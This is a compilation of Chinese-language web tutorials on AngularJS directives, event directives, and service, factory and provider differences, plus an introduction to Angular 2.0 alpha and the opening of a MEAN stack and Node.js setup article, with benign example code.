</body>


效果：



ngModel

ngModel，这个内置指令相信大家都不会陌生。自定义指令引用其自身的ngModel指令，其原理就是：


	父域对象 绑定 ngModel


	ngModel 绑定 指令子域对象




优点：可以充分利用ngModel的特性，例如commit、rollback等特性，也可以搭配ng-model-options进行使用。

缺点：


	相对于方案1，父子对象绑定中间还要多一层ngModel的绑定，性能必然降低；


	相对于方案1，使用比较麻烦；


	自身不能实现反向调用父域函数，需要借助$parse转换表达式方案实现




DOM写法：

<student ng-model="guy" on-save="saveEditing()"></student>


完整例子：

<body>
    <div ng-controller='demoCtrl'>
        <student ng-model="guy" on-save="saveEditing()"></student>
    </div>

    <script type="text/html" id="t1">
        <div class="panel">
            <p>
                <span>name:</span>
                <input type="text" ng-model="ngModel.$modelValue.name" />
            </p>
            <p>
                <span>sexy :</span>
                <select ng-model="ngModel.$modelValue.sexy">
                    <option value="1">male</option>
                    <option value="2">female</option>
                </select>
            </p>
            <button class="btn btn-info" type="button" ng-click="onSave()">save</button>
        </div>
    </script>

    <script>
        var app = angular.module("app", []);

        app.controller('demoCtrl', function ($scope) {
            $scope.guy = {
                name: "mark",
                sexy: 1
            };

            $scope.saveEditing = function () {
                //$http.post("...", { stu: $scope.guy });
                console.log($scope.guy.name + " is saving!");
                console.log($scope.guy);
            };
        });

        app.directive('student', ["$parse", function ($parse) {
            return {
                restrict: 'E',
                require: ['student', 'ngModel'],
                scope: {},
                template: function (elem, attr) {
                    return document.getElementById('t1').innerHTML;
                },
                link: function (scope, element, attr, ctrls) {
                    //link阶段，通过require获取指令自身的控制器，及ngModel指令的控制器
                    var stCtrl = ctrls[0];
                    var ngModelCtrl = ctrls[1];

                    //并将ngModel指令的控制器，通过自身控制器的init()方法传入到其中
                    stCtrl.init(ngModelCtrl);
                },
                controller: function ($scope, $element, $attrs, $transclude) {
                    //创建controller的对外初始化方法，并将外部ngModel的控制器设置本地作用域对象
                    this.init = function (ngModelCtrl) {
                        $scope.ngModel = ngModelCtrl;
                    };

                    //获得on-save属性指向的表达式{{saveEditing()}}
                    var saveInvoker = $parse($attrs.onSave);

                    $scope.onSave = function () {
                        //在父域中，执行表达式{{saveEditing()}}——执行父域saveEditing()
                        saveInvoker($scope.$parent, null);
                    };
                }
            };
        }]);


    </script>
</body>


$parse

在ngModel的解决方案中，已经有过通过$parse获取执行表达式操作父域函数的例子：$parse($attrs.onSave)。这个方案不仅能够执行父域函数表达式，同时也能够执行对象的get/set表达式。但是本方案本质其实是对于父域$scope.$parent的直接操作，只是通过$parse服务实现解耦。

关于$parse服务，想了解更多，请移步——
http://segmentfault.com/a/1190000002749571

<body>
    <div ng-controller='demoCtrl'>
        <student stu="guy" on-save="saveEditing()"></student>
    </div>

    <script type="text/html" id="t1">
        <div class="panel">
            <p>
                <span>name:</span>
                <input type="text" ng-model="stu.name" />
            </p>
            <p>
                <span>sexy :</span>
                <select ng-model="stu.sexy">
                    <option value="1">male</option>
                    <option value="2">female</option>
                </select>
            </p>
            <button class="btn btn-info" type="button" ng-click="onSave()">save</button>
        </div>
    </script>

    <script>
        var app = angular.module("app", []);

        app.controller('demoCtrl', function ($scope) {
            $scope.guy = {
                name: "mark",
                sexy: 1
            };

            $scope.saveEditing = function () {
                //$http.post("...", { stu: $scope.guy });
                console.log($scope.guy.name + " is saving!");
                console.log($scope.guy);
            };
        });

        app.directive('student', ["$parse", function ($parse) {
            return {
                restrict: 'E',
                scope: {},
                template: function (elem, attr) {
                    return document.getElementById('t1').innerHTML;
                },
                controller: function ($scope, $element, $attrs, $transclude) {
                    var getClassName,
                        setClassName,
                        saveInvoker = angular.noop;

                    //注意：建议查阅一下$parse内置表达式转换函数的使用方法。

                    //获得stu属性指向的表达式{{guy}}
                    getStudent = $parse($attrs.stu);
                    setStudent = getStudent.assign;

                    //获得on-save属性指向的表达式{{saveEditing()}}
                    saveInvoker = $parse($attrs.onSave);

                    //监听父域的{{guy}}
                    $scope.$parent.$watch(getStudent, function (stu) {
                        $scope.stu = stu;
                    });

                    $scope.onSave = function () {
                        //在父域中，执行表达式{{guy}} assign——将本地对象stu设置到父域guy
                        setStudent($scope.$parent, $scope.stu);

                        //在父域中，执行表达式{{saveEditing()}}——执行父域saveEditing()
                        saveInvoker($scope.$parent, null);
                    };
                }
            };
        }]);


    </script>
</body>


效果：



End

说了一大堆，大家还是动手试试哪个方案更合适你的项目，或者有更好的开发思路。

下一章节，为大家介绍一下关于指令的自动化测试。欢迎继续捧场。


 angularjs学习笔记—事件指令

作者：小俞

来源： angularjs学习笔记—事件指令



                    
ngClick

适用标签：所有
触发条件：单击

#html
<div ng-controller="LearnCtrl">
    <div ng-click="click()">click me</div>
    <button ng-click="click()">click me</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.click = function () {
                alert('click');
            }
        });
        

ngDblclick

适用标签：所有
触发条件：双击

#html
<div ng-controller="LearnCtrl">
    <div ng-dblclick="dblclick()">click me</div>
    <button ng-dblclick="dblclick()">click me</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.dblclick = function () {
                alert('click');
            }
        });


ngBlur

适用标签：


	a


	input


	select


	textarea




触发条件：失去焦点

#html
<div ng-controller="LearnCtrl">
    <a href="" ng-blur="blur()">link</a>

    <input type="text" ng-blur="blur()"/>
    <textarea cols="30" rows="10" ng-blur="blur()"></textarea>
    <select ng-blur="blur()">
        <option>----</option>
        <option>jacky</option>
        <option>rose</option>
    </select>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.blur = function () {
                alert('blur');
            }
        });


ngFocus

适用标签：


	a


	input


	select


	textarea




触发条件：获取焦点

#html
<div ng-controller="LearnCtrl">
    <a href="" ng-focus="focus()">link</a>

    <input type="text" ng-focus="focus()"/>
    <textarea cols="30" rows="10" ng-focus="focus()"></textarea>
    <select ng-focus="focus()">
        <option>----</option>
        <option>jacky</option>
        <option>rose</option>
    </select>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.focus= function () {
                alert('focus');
            }
        });


ngChange

适用标签：input
触发条件：model更新

输入框的内容改变并不代表model的值更新。按我的理解，一般当两个状态互相切换时，model值会更新。两个状态我称之为合法状态和不合法状态。

不合法的状态：输入的内容不符合type类型，如email类型。输入的内容不符合校验条件，如ngMinlength。不合法的状态下，model会被更新成undefined。

合法的状态：输入的内容是符合类型和校验条件的。

#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-model="text" ng-change="change()" ng-minlength="5"/>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            //$scope.text='';
            $scope.change = function () {
                alert('change');
            }            
        });


初始化和不初始化text的条件下，change触发是不一样的哦，这里涉及到model初始化和更新机制。

ngCopy

适用标签：


	a


	input


	select


	textarea




官方api上说使用的标签是这些，我没明白a和select复制有啥子用。另外，我换个div实际上也能触发copy事件。一般常用的就是input和textarea。

触发条件：复制。鼠标右键复制和快捷键Ctrl+C都会触发。

#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-copy="copy()"/>
    <textarea cols="30" rows="10" ng-copy="copy()"></textarea>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.copy = function () {
                alert('copy');
            }
        });


ngCut

适用标签：


	a


	input


	select


	
textarea

触发条件：剪切。鼠标右键剪切和快捷键Ctrl+X都会触发。





#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-cut="cut()"/>
    <textarea cols="30" rows="10" ng-cut="cut()"></textarea>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.cut = function () {
                alert('cut');
            }
        });


ngPaste

适用标签：


	a


	input


	select


	
textarea

触发条件：粘贴。鼠标右键粘贴和快捷键Ctrl+V都会触发。





#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-paste="paste()"/>
    <textarea cols="30" rows="10" ng-paste="paste()"></textarea>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.paste = function () {
                alert('paste');
            }
        });


ngKeydown

适用标签：所有

个人感觉还是input和textarea比较常用

触发条件：键盘按键按下

要把$event传过去，一般都是要判断按了哪个按键的。

#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-keydown="keydown($event)"/>
    <textarea cols="30" rows="10" ng-keydown="keydown($event)"></textarea>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.keydown = function ($event) {
                alert($event.keyCode);
            }
        });


ngKeyup

适用标签：所有

个人感觉还是input和textarea比较常用

触发条件：键盘按键按下并松开

#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-keyup="keyup($event)"/>
    <textarea cols="30" rows="10" ng-keyup="keyup($event)"></textarea>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.keyup = function ($event) {
                alert($event.keyCode);
            }
        });


ngKeypress

适用标签：所有

个人感觉还是input和textarea比较常用

触发条件：键盘按键按下

#html
<div ng-controller="LearnCtrl">
    <input type="text" ng-keypress="keypress($event)"/>
    <textarea cols="30" rows="10" ng-keypress="keypress($event)"></textarea>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.keypress = function ($event) {
                alert($event.keyCode);
            }
        });


keydown，keypress，keydown三者区别

引发事件的按键

非字符键不会引发 KeyPress 事件，但非字符键却可以引发 KeyDown 和 KeyUp 事件。

事件引发的时间

KeyDown 和 KeyPress 事件在按下键时发生，KeyUp 事件在释放键时发生。

事件发生的顺序

KeyDown -> KeyPress -> KeyUp。如果按一个键很久才松开，发生的事件为：KeyDown -> KeyPress -> KeyDown -> KeyPress -> KeyDown -> KeyPress -> ... -> KeyUp。


	KeyDown触发后，不一定触发KeyUp，当KeyDown 按下后，拖动鼠标，那么将不会触发KeyUp事件。


	KeyPress主要用来捕获数字(注意：包括Shift+数字的符号)、字母（注意：包括大小写）、小键盘等除了F1-12、SHIFT、Alt、Ctrl、Insert、Home、PgUp、Delete、End、PgDn、ScrollLock、Pause、NumLock、{菜单键}、{开始键}和方向键外的ANSI字符。


	KeyDown 和KeyUp 通常可以捕获键盘除了PrScrn所有按键(这里不讨论特殊键盘的特殊键）。


	KeyPress 只能捕获单个字符。


	KeyDown 和KeyUp 可以捕获组合键。


	KeyPress 可以捕获单个字符的大小写。


	KeyDown和KeyUp 对于单个字符捕获的KeyValue 都是一个值，也就是不能判断单个字符的大小写。


	KeyPress 不区分小键盘和主键盘的数字字符。


	KeyDown 和KeyUp 区分小键盘和主键盘的数字字符。


	其中PrScrn 按键KeyPress、KeyDown和KeyUp 都不能捕获。




ngMousedown

适用标签：所有
触发条件：鼠标按下，左右中间按下都会触发

#html
<div ng-controller="LearnCtrl">
    <button ng-mousedown="mousedown($event)">button</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.mousedown = function ($event) {
                alert($event.which);
            }
        });


ngMouseup

适用标签：所有
触发条件：鼠标按下弹起，左右中间按下弹起都会触发

#html
<div ng-controller="LearnCtrl">
    <button ng-mouseup="mouseup($event)">button</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.mouseup = function ($event) {
                alert($event.which);
            }
        });


ngMouseenter

适用标签：所有
触发条件：鼠标进入

#html
<div ng-controller="LearnCtrl">
    <button ng-mouseenter="mouseenter()">button</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.mouseenter = function () {
                alert('mouseenter');
            }
        });


ngMouseleave

适用标签：所有
触发条件：鼠标离开

#html
<div ng-controller="LearnCtrl">
    <button ng-mouseleave="mouseleave()">button</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.mouseleave = function () {
                alert('mouseleave');
            }
        });


ngMousemove

适用标签：所有
触发条件：鼠标移动

#html
<div ng-controller="LearnCtrl">
    <button ng-mousemove="mousemove()">button</button>
</div>

#script
angular.module('learnModule', [])

        .controller('LearnCtrl', function ($scope) {
            $scope.mousemove = function () {
                alert('mousemove');
            }
        });


ngMouseover

适用标签：所有
触发条件：鼠标进入


 Angular 2.0 浅入浅出

作者：Worktile

来源： Angular 2.0 浅入浅出



                    
今年的3月5号，ng-conf 2015大会上，Angular官方团队对外发布了Angular 2的alpha版本,同时公布了新的网站地址：https://angular.io


对于使用Angular的开发者来说是一件喜讯，由于我们的产品 Worktile 目前也正是使用的Angular.js 1.2.x版本，所以我们更关心Angular的一切，为什么2.0不叫Angular.js而改名叫Angular是由于2.0中包含2个版本，分别为：Angular for JavaScript 和 Angular for Dart，alpha版本的下载地址为：https://angular.io/download


所以在公司内部就有了这次分享，主要是让大家初步了解下Angular 2到底改变了什么，这个彻底革命的MV*框架到底革命了什么，以及未来的新标准是什么样子的？


这篇博客主要是把内部分享的内容整理一下，献给关心Worktile技术的使用者们。


Angular 2.0 浅入浅出


为什么起这个标题呢？



  由于Angular 2.0目前只是alpha版本，而且相关的API都没有提供，官方只提供了一些简单的示例，所以暂时没有必要深入研究太多，因为很多东西也还没有最终定稿，但可以初步了解下他的一些新特性。








Angular 2.0是什么？





Angular 2.0的动机


为了解决Angular.js 1.x版本中的种种问题，所以才有了彻底的变更。





JavaScript的诞生、发布和标准化


因为Angular 2.0 采用的是AtScript 编写的，AtScript基本上兼容 TypeScript和ECMAScript 5/ECMAScript 6，目前我们所说的Javascript语法都是 ES5.1版本，所以我觉得有必要说下Javascript的一些历史以及标准化的事情。


下图是Javascript发布版本的时间表和浏览器的支持情况，到目前为止，基本上所有主流浏览器都支持ES5。


关于更多详情参考：



	http://zh.wikipedia.org/wiki/JavaScript

	http://www.w3school.com.cn/js/pro_js_history.asp






ECMAScript 6的新特性


那么ES6 什么时候发布呢？到底有哪些新特性呢？


我觉得这个问题，所有做前端的人都应该要了解，因为这即将成为未来的标准，预计2015年6月份左右，ECMAScript 6会正式发布，很多主流的浏览器在正式发布之后肯定会逐渐的支持这些特性。


关于ES6到底有哪些新特性，大家可以看下 https://github.com/lukehoban/es6features，基本上涵盖了大部分功能。


我觉得重要的几个特性是：Class、Module、一些语法糖、基础功能的增强等。





下面这几个图主要展示下 ES5>>ES6>>TypeScript>>AtScript的演变过程








关于AtScript


AtScript是Angular团队为了打造Angular 2.0 专门开发的一门语言，官方团队的解释是：AtScript并不是一门新的语言，而是 TypeScript + 注解 + 类型检查，而TypeScript ＝ ES5+ES6+Types，所以说大家掌握了ES6，基本上也就理解了AtScript了。


关于AtScript的注解和类型检查可以参考：https://docs.google.com/document/d/11YUzC-1d0V1-Q3V0fQ7KSit97HnZoKVygD...


注意：Angular 2.0是采用 AtScript写的，并不意味着我们使用Angular 2.0 开发应用也需要AtScript，我们可以使用ES5、ES6、TypeScript、甚至CoffeScript，这2个没有直接的联系。





Angular 2.0 HelloWorld


此次的分享是 Angular 2.0 浅入浅出，但是一直到现在都没有提到Angular 2.0。


是的，因为Angular 2.0现在只是发布了Alpha版本，没有API文档、很多东西还没有最终定稿，官方网站只提供了几个示例程序，大家只有掌握了我前面说的ES6的新特性和AtScript后回过头来看Angular的HelloWorld示例就会非常轻松。


可以根据 https://angular.io/docs/js/latest/quickstart.html 的说明自己下载示例本地运行下。看下示例中的这段代码：


// app.es6
// Annotation section
@Component({
  selector: 'my-app'
})
@Template({
  inline: '<h1>Hello {{ name }}</h1>'
})
// Component controller
class MyAppComponent {
  constructor() {
    this.name = 'Alice';
  }
}
bootstrap(MyAppComponent);



<!-- index.html -->
<html>
  <head>
    <title>Angular 2 Quickstart</title>
    <script src="/quickstart/dist/es6-shim.js"></script>
  </head>
  <body>

    <!-- The app component created in app.es6 -->
    <my-app></my-app>
   <script>
    // Rewrite the paths to load the files
    System.paths = {
      'angular2/*':'/quickstart/angular2/*.js', // Angular
      'rtts_assert/*': '/quickstart/rtts_assert/*.js', //Runtime assertions
      'app': 'app.es6' // The my-app component
    };

    // Kick off the application
    System.import('app');
</script>

  </body>
</html>



通过这段简短的代码可以大致知道Angular2.0 是怎么回事了，没有了angular.module、没有了Controller、没有了$scope、没有了xxx.directive()，基本上一切都是基于对象，基于注解。应该是更易学，更简单了。


引用材料






	https://angular.io

	https://github.com/lukehoban/es6features

	http://eisenbergeffect.bluespire.com/all-about-angular-2-0/

	http://www.typescriptlang.org/Content/TypeScript%20Language%20Specific...

	https://docs.google.com/document/d/11YUzC-1d0V1-Q3V0fQ7KSit97HnZoKVygD...

	https://github.com/xufei/blog/issues/8

	http://es6.ruanyifeng.com/




 AngularJS中的Provider们：Service和Factory等的区别

作者：savokiss

来源： AngularJS中的Provider们：Service和Factory等的区别



                    
引言

看了很多文章可能还是不太说得出AngularJS中的几个创建供应商(provider)的方法(factory(),service(),provider())到底有啥区别，啥时候该用啥，之前一直傻傻分不清楚，现在来总结一下。

下文中泛指统一用中文，英文即为特指$provide方法中对应方法创建出的东东

供应商==>泛指provider
服务==>泛指service

provider==>provider()方法创建的东东
service==>service()方法创建的东东

先说说供应商（$provide）

$provide服务负责告诉Angular如何创造一个新的可注入的东西：即服务。服务会被叫做供应商的东西来定义，你可以使用$provide来创建一个供应商。你需要使用$provide中的provider()方法来定义一个供应商，同时你也可以通过要求$provide被注入到一个应用的config函数中来获得$provide服务。

上面的描述是官方wiki的翻译版，如果有些绕的话，看下这张图：



	$provide是一个服务，在Auto模块中


	这个服务下面有好多方法，是用来定义供应商


	而供应商是用来提供服务的，被注入来注入去的东西就是供应商们提供的服务了




下面是一个例子：

myMod.config(function($provide) {
  $provide.provider('greeting', function() {
    this.$get = function() {
      return function(name) {
        alert("Hello, " + name);
      };
    };
  });
});

这个例子可以说是最终形态，先大概看下

定义供应商的方法们

AngularJS用$provide去定义一个供应商,这个$provide有5个用来创建供应商的方法：


	constant


	value


	service


	factory


	provider


	decorator 我没有说我也是，我只是路过o(╯□╰)o




Constant

定义常量用的，这货定义的值当然就不能被改变，它可以被注入到任何地方，但是不能被装饰器(decorator)装饰

var app = angular.module('app', []);
 
app.config(function ($provide) {
  $provide.constant('movieTitle', 'The Matrix');
});
 
app.controller('ctrl', function (movieTitle) {
  expect(movieTitle).toEqual('The Matrix');
});

语法糖：

app.constant('movieTitle', 'The Matrix');

Value

这货可以是string,number甚至function,它和constant的不同之处在于，它可以被修改，不能被注入到config中，但是它可以被decorator装饰

var app = angular.module('app', []);
 
app.config(function ($provide) {
  $provide.value('movieTitle', 'The Matrix')
});
 
app.controller('ctrl', function (movieTitle) {
  expect(movieTitle).toEqual('The Matrix');
})

语法糖：

app.value('movieTitle', 'The Matrix');

Service

它是一个可注入的构造器，在AngularJS中它是单例的，用它在Controller中通信或者共享数据都很合适

var app = angular.module('app' ,[]);
 
app.config(function ($provide) {
  $provide.service('movie', function () {
    this.title = 'The Matrix';
  });
});
 
app.controller('ctrl', function (movie) {
  expect(movie.title).toEqual('The Matrix');
});

语法糖：

app.service('movie', function () {
  this.title = 'The Matrix';
});

在service里面可以不用返回东西，因为AngularJS会调用new关键字来创建对象。但是返回一个自定义对象好像也不会出错。

Factory

它是一个可注入的function，它和service的区别就是：factory是普通function，而service是一个构造器(constructor)，这样Angular在调用service时会用new关键字，而调用factory时只是调用普通的function，所以factory可以返回任何东西，而service可以不返回(可查阅new关键字的作用)

var app = angular.module('app', []);
 
app.config(function ($provide) {
  $provide.factory('movie', function () {
    return {
      title: 'The Matrix';
    }
  });
});
 
app.controller('ctrl', function (movie) {
  expect(movie.title).toEqual('The Matrix');
});

语法糖：

app.factory('movie', function () {
  return {
    title: 'The Matrix';
  }
});

factory可以返回任何东西，它实际上是一个只有$get方法的provider

Provider

provider是他们的老大，上面的几乎(除了constant)都是provider的封装，provider必须有一个$get方法，当然也可以说provider是一个可配置的factory

var app = angular.module('app', []);
 
app.provider('movie', function () {
  var version;
  return {
    setVersion: function (value) {
      version = value;
    },
    $get: function () {
      return {
          title: 'The Matrix' + ' ' + version
      }
    }
  }
});
 
app.config(function (movieProvider) {
  movieProvider.setVersion('Reloaded');
});
 
app.controller('ctrl', function (movie) {
  expect(movie.title).toEqual('The Matrix Reloaded');
});

注意这里config方法注入的是movieProvider，上面定义了一个供应商叫movie，但是注入到config中不能直接写movie，因为前文讲了注入的那个东西就是服务，是供应商提供出来的，而config中又只能注入供应商（两个例外是$provide和$injector），所以用驼峰命名法写成movieProvider，Angular就会帮你注入它的供应商。（更详细可参考文末官方wiki翻译版中的配置provider）

Decorator

这个比较特殊，它不是provider,它是用来装饰其他provider的，而前面也说过，他不能装饰Constant，因为实际上Constant不是通过provider()方法创建的。

var app = angular.module('app', []);
 
app.value('movieTitle', 'The Matrix');
 
app.config(function ($provide) {
  $provide.decorator('movieTitle', function ($delegate) {
    return $delegate + ' - starring Keanu Reeves';
  });
});
 
app.controller('myController', function (movieTitle) {
  expect(movieTitle).toEqual('The Matrix - starring Keanu Reeves');
});

总结


	所有的供应商都只被实例化一次，也就说他们都是单例的


	除了constant，所有的供应商都可以被装饰器(decorator)装饰


	value就是一个简单的可注入的值


	service是一个可注入的构造器


	factory是一个可注入的方法


	decorator可以修改或封装其他的供应商，当然除了constant


	provider是一个可配置的factory




最后来看一张对比图：



参考文章

Differences Between Providers in AngularJS
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 【全栈开发】精通 MEAN: MEAN 堆栈
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在 2002 年的一本著作中，David Weinberger 将发展迅速的 Web 内容描述成一个 小块松散组合（Small Pieces Loosely Joined）。这个比喻让我印象深刻，因为大家一般很容易认为 Web 是一个巨大的技术堆栈。实际上，您访问的每个网站都是库、语言与 Web 框架的一种独特组合。


LAMP 堆栈 是早期表现突出的开源 Web 技术集合之一：它使用 Linux® 作为操作系统，使用 Apache 作为 Web 服务器，使用 MySQL 作为数据库，并使用 Perl（或者 Python 和 PHP）作为生成基于 HTML Web 页面的编程语言。这些技术的出现并非为了一起联合工作。它们是独立的项目，由多位雄心勃勃的软件工程师前赴后继地整合在一起。自那以后，我们就见证了 Web 堆栈的大爆发。每一种现代编程语言似乎都有一个（或两个）对应的 Web 框架，可将各种混杂的技术预先组装在一起，快速而又轻松地创建一个新的网站。


MEAN 堆栈是 Web 社区中赢得大量关注和令人兴奋的一种新兴堆栈：MongoDB、Express、AngularJS 和 Node.js。MEAN 堆栈代表着一种完全现代的 Web 开发方法：一种语言运行在应用程序的所有层次上，从客户端到服务器，再到持久层。本系列文章演示了一个 MEAN Web 开发项目的端到端开发情况，但这种开发并不仅限于简单的语法。本文将通过作者的亲身实践向您深入浅出地介绍了该堆栈的组件技术，包括安装与设置。参见 下载 部分，以便获取示例代码。



  实际上，你访问的每个网站都是库、语言与 Web 框架的独特组合。




从 LAMP 到 MEAN


MEAN 不仅仅是一次首字母缩写的简单重新安排与技术升级。将基础平台从操作系统 (Linux) 转变为 JavaScript 运行时 (Node.js) 让操作系统变得独立：Node.js 在 Windows® 与 OS X 上的运行情况和在 Linux 上一样优秀。


Node.js 同样取代了 LAMP 堆栈中的 Apache。但 Node.js 远远不止是一种简单的 Web 服务器。事实上，用户不会将完成后的应用程序部署到单机的 Web 服务器上；相反，Web 服务器已经包含在应用程序中，并已在 MEAN 堆栈中自动安装。结果，部署过程得到了极大简化，因为所需的 Web 服务器版本已经与余下的运行时依赖关系一起得到了明确定义。


不仅是 MEAN


尽管本系列文章重点讲述的是 MEAN 太阳系中的四大行星，但也会介绍 MEAN 堆栈中的一些较小的（但并非不重要的）卫星类技术：



	
Yeoman：一种功能强大的命令行开发工具组合，用于基架 (Yo)、编译脚本 (Grunt) 与客户端依赖关性管理 (Bower)。

	
Bootstrap：一个 CSS 库，支持开箱即用的移动端 响应式 Web 设计。

	
测试库：除了 Mocha、Jasmine 和 Karma 以外，还有大量测试库可用于模拟 Ajax 调用 (Chai)，显示测试范围 (Istanbul)，以及自动完成功能测试，以便在实际的浏览器中 运行它们(Protractor)。



从传统数据库（如 MySQL）到 NoSQL，再到无架构的、以文档为导向的持久存储（如 MongoDB），这些代表着持久化策略发生了根本性的转变。用户花费在编写 SQL 上的时间将会减少，将会有更多的时间编写 JavaScript 中的映射/化简功能。用户还能省掉大量的转换逻辑，因为 MongoDB 可以在本地运行 JavaScript Object Notation (JSON)。因此，编写 RESTful Web 服务变得前所未有的容易。


但从 LAMP 到 MEAN 的最大转变在于从传统的服务器端页面生成变为客户端 单页面应用程序 (SPA)。借助 Express 仍然可以处理服务器端的路由与页面生成，但目前的重点在客户端视图上，而 AngularJS 可以实现这一点。这种变化并不仅仅是将 模型-视图-控制器 (MVC) 工件从服务器转移到客户端。用户还要尝试从习惯的同步方式转而使用基本由事件驱动的、实质上为异步的方式。或许最重要的一点是，您将从以页面为中心的应用程序视图转到面向组件的视图。


MEAN 堆栈并非以移动为中心，AngularJS 在桌面电脑、笔记本电脑、智能手机、平板电脑和甚至是智能电视上的运行效果都一样，但它不会把移动设备当作二等公民对待。而且测试事后不再是问题：借助世界级的测试框架，比如 MochaJS、JasmineJS 和 KarmaJS，您可以为自己的 MEAN 应用程序编写深入而又全面的测试套件。


准备好获得 MEAN 了吗？


安装 Node.js


您需要安装 Node.js，以便在本系列中的示例应用程序上工作，如果尚未安装它，那就立刻开始安装吧。


如果使用 UNIX® 风格的操作系统（Linux、Mac OS X 等），我推荐使用 Node Version Manager (NVM)。（否则，在 Node.js 主页上单击 Install，下载适合您操作系统的安装程序，然后接受默认选项即可。）借助 NVM，您可以轻松下载 Node.js，并从命令行切换各种版本。这可以帮助您从一个版本的 Node.js 无缝转移到下一版本，就像我从一个客户项目转到下一个客户项目一样。


NVM 安装完毕后，请输入命令 nvm ls-remote 查看哪些 Node.js 版本可用于安装，如清单 1 中所示。


清单 1. 使用 NVM 列出可用的 Node.js 版本


$ nvm ls-remote

v0.10.20
v0.10.21
v0.10.22
v0.10.23
v0.10.24
v0.10.25
v0.10.26
v0.10.27
v0.10.28



输入 nvm ls 命令可以显示本地已经安装的 Node.js 版本，以及目前正在使用中的版本。


在撰写本文之际，Node 网站推荐 v0.10.28 是最新的稳定版本。输入 nvm install v0.10.28 命令在本地安装它。


安装 Node.js 后（通过 NVM 或平台特定的安装程序均可），可以输入 node --version 命令来确认当前使用的版本：


$ node --version

v0.10.28



什么是 Node.js？


Node.js 是一种 headless JavaScript 运行时。它与运行在 Google Chrome 内的 JavaScript 引擎（名叫 V8）是一样的，但使用 Node.js 可以从命令行（而非浏览器）运行 JavaScript。


访问浏览器的开发人员工具


熟悉自己所选浏览器中的开发人员工具。我将在整个系列中通篇使用 Google Chrome，但用户可以自行选择使用 Firefox、Safari 或者甚至是 Internet Explorer。



	在 Google Chrome 中，单击 Tools > JavaScript Console。

	在 Firefox 中，单击 Tools > Web Developer > Browser Console。

	在 Safari 中，单击 Develop > Show Error Console。（如果看不到 Develop 菜单，可以在 Advanced preferences 页面上单击 Show Develop menu in menu bar。）*   在 Internet Explorer 中，单击 Developer Tools > Script > Console。



我曾有些学生嘲笑过从命令行运行 JavaScript 的主意：“如果没有要控制的 HTML，那 JavaScript 还有什么好处呢？" JavaScript 是在浏览器（Netscape Navigator 2.0）中来到这个世界的，因此那些反对者的短视和天真是可以原谅的。


事实上，JavaScript 编程语言并未针对 文档对象模型 (DOM) 操作或形成 Ajax 请求提供本地功能。该浏览器提供了 DOM API，可以方便用户使用 JavaScript 来完成这类工作，但在浏览器之外的地方，JavaScript 不具备这些功能。


下面给出了一个例子。在浏览器中打开一个 JavaScript 控制台（参见 访问浏览器的开发人员工具）。输入 navigator.appName。获得响应后，请输入 navigator.appVersion。得到的结果类似于图 1 中所示。


图 1. 在 Web 浏览器中使用 JavaScript navigator 对象





在图 1 中，Netscape 是对 navigator.appName 的响应，而对 navigator.appVersion 的响应则是经验丰富的 Web 开发人员已经熟知但爱恨不一的、神秘的开发人员代理字符串。在图 1 中（截自 OS X 上的 Chrome 浏览器），该字符串是 5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36。


现在，我们要创建一个名为 test.js 的文件。在文件中输入同样的命令，并将每个命令包含在 console.log() 调用中：


console.log(navigator.appName);
console.log(navigator.appVersion);



保存文件并输入 node test.js 来运行它，如清单 2 中所示。


清单 2. 查看 Node.js 中的 navigator is not defined 错误


$ node test.js 

/test.js:1
ion (exports, require, module, __filename, __dirname) { console.log(navigator.
                                                                    ^
ReferenceError: navigator is not defined
    at Object.&lt;anonymous&gt; (/test.js:1:75)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Function.Module.runMain (module.js:497:10)
    at startup (node.js:119:16)
    at node.js:902:3



正如您看到的那样，navigator 在浏览器中可用，但在 Node.js 中不可用。（不好意思，让您的第一个 Node.js 脚本失败了，但我想确保让您相信，在浏览器中运行 JavaScript 与在 Node.js 中运行它是不同的。）


根据堆栈跟踪的情况，正确的 Module 没有得到加载。（Modules 是在浏览器中运行 JavaScript 与在 Node.js 中运行它之间的另一主要区别。我们将立刻讲述 Modules 的更多相关内容。）为了从 Node.js 获得类似的信息，请将 test.js 的内容修改为：


console.log(process.versions)
console.log(process.arch)
console.log(process.platform)



再次输入 node test.js，可以看到类似于清单 3 中的输出。


清单 3. 在 Node.js 中使用过程模块


$ node test.js

{ http_parser: '1.0',
  node: '0.10.28',
  v8: '3.14.5.9',
  ares: '1.9.0-DEV',
  uv: '0.10.27',
  zlib: '1.2.3',

  modules: '11',
  openssl: '1.0.1g' }
x64
darwin



在 Node.js 中成功运行第一个脚本之后，我们将接触下一个主要概念：模块。


什么是模块？


